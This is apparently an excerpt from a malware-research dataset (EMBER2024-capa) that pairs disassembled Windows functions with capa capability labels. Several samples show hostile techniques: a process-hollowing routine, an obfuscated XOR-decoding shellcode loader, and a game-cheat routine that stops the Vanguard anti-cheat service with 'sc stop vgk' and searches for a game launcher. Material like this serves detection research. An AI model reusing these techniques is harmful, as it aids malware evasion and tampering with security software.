joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [0x403054]
lea eax, [ebp - 0x404]
push 0x400
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [edi + 0x403018], 0x4550
jne 0x4011cb
push 0x44
lea eax, [ebp - 0x448]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0x458], xmm0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0x448]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4011cb
push ebx
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [ebp - 0x464], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x454]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4011ca
push 0
push 4
lea eax, [ebp - 0x45c]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [edi + 0x403068]
push dword [edi + 0x40304c]
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [edi + 0x40306c]
mov dword [ebp - 0x460], eax
push 0x403018
push eax
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
cmp ax, word [edi + 0x40301e]
jae 0x40117c
push esi
xor esi, esi
xor ebx, ebx
mov ecx, dword [0x403054]
add ecx, esi
push 0
push dword [ecx + 0x403120]
mov eax, dword [ecx + 0x403124]
add eax, 0x403018
push eax
mov eax, dword [ecx + 0x40311c]
add eax, dword [ebp - 0x460]
push eax
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [edi + 0x40301e]
inc ebx
add esi, 0x28
cmp ebx, eax
jl 0x401131
mov ebx, dword [ebp - 0x464]
pop esi
push 0
push 4
lea eax, [edi + 0x40304c]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [edi + 0x403040]
add eax, dword [ebp - 0x460]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x454]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x454]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.004011e8
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40288e
pop dword [ebp - 0x10]
mov eax, 0x40288e
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x866361f4
add dword [ebp - 0x20], 0xc7eee357
mov dword [ebp - 0x1c], 0xbe3d3ebd
sub dword [ebp - 0x1c], 0x8c09f278
mov dword [ebp - 0x18], 0x229e220a
sub dword [ebp - 0x18], 0xd651dddc
mov dword [ebp - 0x14], 0x74fc5886
add dword [ebp - 0x14], 0x8b03a77a
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x302199e9
sub dword [ebp - 0x20], 0xbbaf3093
mov dword [ebp - 0x1c], 0x7925cfb
sub dword [ebp - 0x1c], 0xc625fb86
mov dword [ebp - 0x18], 0x2c54ab07
sub dword [ebp - 0x18], 0xc8e53e9b
mov dword [ebp - 0x14], 0x7e3d44ce
add dword [ebp - 0x14], 0x81c2bb32
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x5db2a47c
sub eax, 0x5d7233d4
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3b3da
push 0
call eax
mov ecx, 0x7a342840
sub ecx, 0x7a33cdac
mov esi, eax
mov edx, 0x410000
add edx, dword [ebp - 0x10]
mov ebx, 0x68d01ff7
xor dword [ebp - 8], ebx
mov edi, dword [edx]
sub dword [ebp - 8], ebx
add edi, ebx
xor dword [ebp - 4], 0xaee23d8b
mov dword [esi], edi
add esi, 0x992ec254
add esi, 0x66d13db0
add edx, 0xf3221602
add edx, 0xcddea02
loop 0x40299a
add eax, 0xd828748
add eax, 0xf27ed5db
xor ebx, ebx
add ebx, eax
add eax, 0xbeb7127d
add eax, 0x4148ed88
mov ecx, 0x4a85c1c3
add ecx, 0xb5ba3e3d
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x40101f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x2b00110]
jne 0x401029
repz ret
jmp fcn.004012ab

Function at 0x404e11
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x2b00110]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004013b1
and dword [ebp - 0x14], 0
cmp dword [0x2b03224], 0
mov dword [ebp - 0x18], eax
jne 0x404ec4
push str.USER32.DLL
call dword [sym.imp.kernel32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x404f6c
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x404f6c
mov esi, dword [sym.imp.kernel32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x2b03224], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x2b03228], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x2b0322c], eax
call edi
push eax
call esi
mov dword [0x2b03234], eax
test eax, eax
je 0x404ec4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x2b03230], eax
mov eax, dword [0x2b03230]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.kernel32.dll_DecodePointer]
cmp eax, ecx
je 0x404f1d
cmp dword [0x2b03234], ecx
je 0x404f1d
push eax
call esi
push dword [0x2b03234]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x404f1d
test ebx, ebx
je 0x404f1d
call edi
test eax, eax
je 0x404f14
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x404f14
test byte [ebp - 8], 1
jne 0x404f1d
or dword [ebp + 0x10], 0x200000
jmp 0x404f50
mov eax, dword [0x2b03228]
cmp eax, dword [ebp - 0x18]
je 0x404f50
push eax
call esi
test eax, eax
je 0x404f50
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x404f50
mov eax, dword [0x2b0322c]
cmp eax, dword [ebp - 0x18]
je 0x404f50
push eax
call esi
test eax, eax
je 0x404f50
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x2b03224]
call esi
test eax, eax
je 0x404f6c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x404f6e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040101f
leave
ret
Function at 0x4011b0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push dword [0x676bf4]
push 0
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x401254
push esi
mov esi, dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
lea eax, [ebp - 4]
push edi
push eax
push 0
push 0
push ebx
call esi
test eax, eax
je 0x401241
mov eax, dword [ebp - 4]
test eax, eax
je 0x401241
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x401241
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push ebx
call esi
test eax, eax
je 0x401227
mov esi, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401260
Capabilities:
Hide graphical window
Set console window title
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
mov eax, dword [0x43706c]
xor eax, esp
mov dword [esp + 0x34], eax
push esi
push edi
push str.FB:JIM_READMEM_n
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov edi, dword [sym.imp.KERNEL32.dll_Beep]
push 0x1f4
push 0xa9ec
call edi
push str.Mon_Nov__6_21:31:54_2023
push str._n_s__n_n
call fcn.004010d0
add esp, 8
xor esi, esi
inc esi
push ecx
mov edx, esi
call fcn.00401100
add esp, 4
cmp esi, 0x3e8
jl 0x4012a7
push 0x4340a0
call fcn.00401090
add esp, 4
push 0x1f4
push 0x1f4
call edi
push str.sc_stop_vgk_nul
call fcn.00411425
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
add esp, 4
push 0
call edi
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call esi
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
call edi
push eax
call esi
mov ecx, 0xae
xor edx, edx
nop dword [eax + eax]
mov al, byte [edx + 0x4340f4]
xor al, cl
inc ecx
mov byte [esp + edx + 0x10], al
and ecx, 0x800000ff
jns 0x40132d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x1e
jl 0x401310
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x28]
mov byte [esp + 0x46], 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
xorps xmm0, xmm0
mov dword [esp + 0x28], 0
push 4
mov esi, eax
movaps xmmword [esp + 0x14], xmm0
movq qword [esp + 0x24], xmm0
mov word [esp + 0x30], 0
mov byte [esp + 0x32], 0
call fcn.0040a5f1
add esp, 4
push 0
push eax
push 0x237800
push 0x437ab0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call edi
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push dword [0x676bec]
mov dword [0x676be8], 0xc
push 4
push eax
mov dword [0x676bf0], 0
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
cmp dword [0x676bf4], 0
jne 0x4013fe
nop dword [eax + eax]
call fcn.00402a60
mov dword [0x676bf4], eax
test eax, eax
je 0x4013f0
call fcn.004011b0
push ecx
call fcn.00402b40
add esp, 4
push 0
call edi
push eax
call esi
mov ecx, dword [esp + 0x3c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.0040a5e0
mov esp, ebp
pop ebp
ret
Function at 0x401f60
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425fda
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x43706c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x28], esi
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x2c], esi
call fcn.00409367
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x402020
lea eax, [ebp - 0x20]
mov dword [ebp - 0x24], vtable.std::exception.0
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], str.bad_locale_name
xorps xmm0, xmm0
mov byte [ebp - 0x14], 1
push eax
movq qword [ebp - 0x20], xmm0
call fcn.0040c822
add esp, 8
mov dword [ebp - 0x24], vtable.std::runtime_error.0
lea eax, [ebp - 0x24]
push 0x435fd4
push eax
call fcn.0040ca0b
push edi
push esi
call fcn.004096af
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040a5e0
mov esp, ebp
pop ebp
ret 4

Function at 0x402a60
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x43706c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
xor ebx, ebx
cmp esi, 0xffffffff
je 0x402b26
push 0x124
lea eax, [ebp - 0x12c]
push ebx
push eax
call fcn.0040eb50
add esp, 0xc
mov dword [ebp - 0x130], 0x224
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x402b1f
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax]
nop dword [eax + eax]
mov eax, str.Infestation_Launcher.exe
lea ecx, [ebp - 0x10c]
nop dword [eax + eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x402b00
test dl, dl
je 0x402afc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x402b00
add ecx, 2
add eax, 2
test dl, dl
jne 0x402ae0
xor eax, eax
jmp 0x402b05
sbb eax, eax
or eax, 1
test eax, eax
je 0x402b19
lea eax, [ebp - 0x130]
push eax
push esi
call edi
test eax, eax
jne 0x402ad0
jmp 0x402b1f
mov ebx, dword [ebp - 0x128]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a5e0
mov esp, ebp
pop ebp
ret
Function at 0x403270
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x4032a1
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x403290
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x454e90
Capabilities:
Encode data using xor

Disassembly:
sar bh, cl
invalid
push ebp
push esp
pop ebp
push ebx
mov ebx, dword [ebp + 8]
push esi
je 0x45535e
jne 0x45535e
mov eax, dword [0xe91580]
adc dword [ecx - 0x3deecaae], edi
mov eax, 0x106de560
lea ecx, [esi + 0x37c]
cmp byte [ebx + 0xac], 1
push 0xadae0c
push 0xa29f90
mov eax, dword [0x112ae170]
push 0xacc620
push 0x114849e0
mov dword [0x100ce454], eax
lea esi, [eax*4]
jge 0x454ef5
or dword [esi - 0x6c], edi
loopne 0x454e6f
jp 0x454e98
int 0x7c
invalid
mov ebx, dword [esi + 0x24]
sub ecx, dword [esi + 0x2c]
push edi
pop eax
sub eax, ebx
je 0x454f33
jne 0x454f33
push 0x7b3480
call dword [0x100f63c4]
jmp dword [eax*4 + 0x475b34]
cmp eax, ecx
jbe 0x454f3e
add byte [eax], al
add byte [ebp + 0x5d8b0b14], cl
or byte [ebx - 0x75], dl
into
lea edx, [ebx + ecx]
mov ebx, dword [ebp + 8]
push ebx
mov ecx, esi
call fcn.004553d0
or eax, eax
je 0x455146
jne 0x455146
call dword [0x69783540]
lea ebp, [ebx*4 + 1]
add byte [ebp - 0x70], dl
push 0x100ee084
push 0x9b8e10
movzx eax, byte [eax + 0x11120b64]
mov dword [0x1069bd0], ebx
call dword [int.0043a1d0]
cmp byte [0x3155200], bl
push 0x102f9fd8
push 0xa55714
mov edi, dword [0x42d3f8]
pop dword [0x106e5758]
push 0x100df150
inc ebx
movsd dword es:[edi], dword [esi]
pop ecx
mov byte [0xc76db7cb], al
jbe 0x454f38
mov dword [esi + 0x30], eax
inc esi
xor byte [edi + 0x5a], dl
push edi
pop edx
push esi
pop ecx
call fcn.0045dd40
jmp 0x455283
sub eax, eax
pop edi
jmp 0x455090
pop esi
pop ebx
pop ebp
ret 4
jae 0x4551ef
push 0x4552bc
ret
jne 0x455027
je 0x45519f
jne 0x45519f
push 0xc00da0
mov eax, dword [0x44cb60]
mov eax, dword [0x112b426c]
mov eax, dword [esi*8 + 0xcd37f4]
cmp eax, 0x3dce1132
mov dword [eax + esi - 0x74], ecx
mov esi, dword [ebp - 0x448]
mov edx, dword [0xd0275c]
mov edx, dword [0x43cf80]
push 0x11541b60
inc edx
jnp 0x4551e2
adc dword [ecx + 0x68], 0xc99b687c
invalid
mov eax, dword [esi + 0xc]
cmp dword [esi + 0x2c], eax
jb 0x454fb1
je 0x454fae
jne 0x454fae
mov ecx, dword [0x1152bdd0]
fld qword [0x697e2f80]
push 0x114b2648
mov dl, byte [ebp - 0x230]
lea edi, [edx + eax + 0x50868]
out 0x76, al
dec ecx
cld
push eax
aaa
dec esp
jae 0x4551ef
cmp dword [esi + 0x48], 0x112
jb 0x455366
cmp dword [esi + 0x48], 0x112
jmp 0x45522b
jbe 0x455025
je 0x45530a
jne 0x45530a
mov eax, 0xa122a0
cmp esi, dword [ebx + 0x1000]
push 0xb5dd24
push 0x100d4a00
push 0x114ce030
push 0x10047ef8
push 0x508284
push 0x442
push 0xb23588
mov eax, 0x10dd41ac
xor eax, dword [edi + 0x71]
jae 0x455257
arpl di, bx
sbb eax, 0xdc936c42
mov dl, 0x4e
xchg ecx, eax
xor edi, ebp
mov esi, 0x247e3990
cmp dword [esi + 0x24], edi
jmp 0x45510b
mov dword [esi + 0x48], 0x112
push 0x455025
ret
push edi
push edx
pop edi
push ecx
pop esi
lea ecx, [ecx]
cmp dword [esi + 0x30], 0
mov edx, edi
jne 0x454f41
mov ecx, dword [esi + 0xc]
jmp 0x454ef2

Function at 0x46da70
Capabilities:
Hash data with md5

Disassembly:
push ebp
push esp
pop ebp
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
pop ebp
push 0x46db1c
ret
Function at 0x4a3b50
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x14
push 0x4b24e0
call fcn.004a7eb0
call fcn.004a7b81
movzx esi, ax
push 2
call fcn.004a7981
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x4a3a07
sub ebx, ebx
jmp 0x4a3a3a
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4a3a03
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4a3a03
sub ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x4a3a3a
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004a73a3
or eax, eax
jne 0x4a3a4e
push 0x1c
call fcn.004a3b29
pop ecx
call fcn.004a6e06
or eax, eax
jne 0x4a3a5f
push 0x10
call fcn.004a3b29
pop ecx
call fcn.004a7a68
and dword [ebp - 4], 0
call fcn.004a73b8
or eax, eax
jns 0x4a3a79
push 0x1b
call fcn.004a3b29
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x5c46b0], eax
call fcn.004a7aa8
mov dword [0x5bee48], eax
call fcn.004a7666
or eax, eax
jns 0x4a3a9f
push 8
call fcn.004a6ee1
pop ecx
call fcn.004a789f
or eax, eax
jns 0x4a3ab0
push 9
call fcn.004a6ee1
pop ecx
push 1
call fcn.004a6f1b
pop ecx
or eax, eax
je 0x4a3ac3
push eax
call fcn.004a6ee1
pop ecx
call fcn.004a7e58
push esi
push eax
push 0
push 0x400000
call main
push eax
pop esi
mov dword [ebp - 0x24], esi
or ebx, ebx
jne 0x4a3ae5
push esi
call fcn.004a7177
call fcn.004a6f0c
jmp 0x4a3b1a
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.004a7ef5
ret
call fcn.004a79ce
jmp 0x4a39d9
Function at 0x4a71e8
Capabilities:
Write file on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x1fc
mov eax, dword [0x5bdd90]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.004a71c4
mov edi, eax
pop ecx
test edi, edi
je 0x4a738a
push ebx
push 3
call fcn.004a798e
pop ecx
cmp eax, 1
je 0x4a7332
push 3
call fcn.004a798e
pop ecx
test eax, eax
jne 0x4a723c
cmp dword [0x5bee90], 1
je 0x4a7332
cmp esi, 0xfc
je 0x4a7389
push 0x402544
push 0x314
push 0x5bee98
call fcn.004ac59e
add esp, 0xc
sub ebx, ebx
or eax, eax
jne 0x4a7398
push 0x104
push 0x5beeca
push ebx
mov word [0x5bf0d2], ax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x2fb
test eax, eax
jne 0x4a72a4
push 0x402578
push esi
push 0x5beeca
call fcn.004ac59e
add esp, 0xc
test eax, eax
jne 0x4a7398
push 0x5beeca
call fcn.004ae737
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4a72ea
push 0x5beeca
call fcn.004ae737
lea ecx, [eax*2 + 0x5bee54]
mov eax, ecx
sub eax, 0x5beeca
push 3
sar eax, 1
push 0x4025a8
sub esi, eax
push esi
push ecx
call fcn.004ae750
add esp, 0x14
test eax, eax
jne 0x4a7398
push 0x4025b0
push 0x314
mov esi, 0x5bee98
push esi
call fcn.004ae6cb
add esp, 0xc
or eax, eax
jne 0x4a7398
push edi
push 0x314
push esi
call fcn.004ae6cb
add esp, 0xc
test eax, eax
jne 0x4a7398
push 0x12010
push 0x4025b8
push esi
call fcn.004ae80e
add esp, 0xc
jmp 0x4a7389
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
test esi, esi
je 0x4a7389
cmp esi, 0xffffffff
je 0x4a7389
sub ebx, ebx
push ebx
pop ecx
mov al, byte [edi + ecx*2]
mov byte [ebp + ecx - 0x1f8], al
cmp word [edi + ecx*2], bx
je 0x4a7362
inc ecx
cmp ecx, 0x1f4
jb 0x4a7349
push ebx
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x1f8]
push eax
mov byte [ebp - 5], bl
call fcn.004ae640
pop ecx
push eax
lea eax, [ebp - 0x1f8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004a3b5a
leave
ret
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.004a8655
int3

Function at 0x4a7aa8
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov edi, eax
or edi, edi
je 0x4a7b00
push ebx
xor ebx, ebx
push esi
push edi
pop esi
cmp word [edi], bx
je 0x4a7ad4
add esi, 2
cmp word [esi], bx
jne 0x4a7ac4
add esi, 2
cmp word [esi], bx
jne 0x4a7ac4
sub esi, edi
add esi, 2
push esi
call fcn.004ab4a7
pop ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x4a7af5
push esi
push edi
push eax
call fcn.004a3b70
mov ebx, dword [ebp - 4]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
pop esi
mov eax, ebx
pop ebx
pop edi
leave
ret
Function at 0x4a8180
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
mov ecx, dword [eax + 0x3c]
add ecx, eax
push esi
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
sub edx, edx
add eax, ecx
push edi
or ebx, ebx
je 0x4a81bc
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4a81b4
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4a81be
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4a81a4
sub eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4a8290
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4a82a4
sub eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
sub eax, eax
cmp dword [ecx], 0x4550
jne 0x4a82bf
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret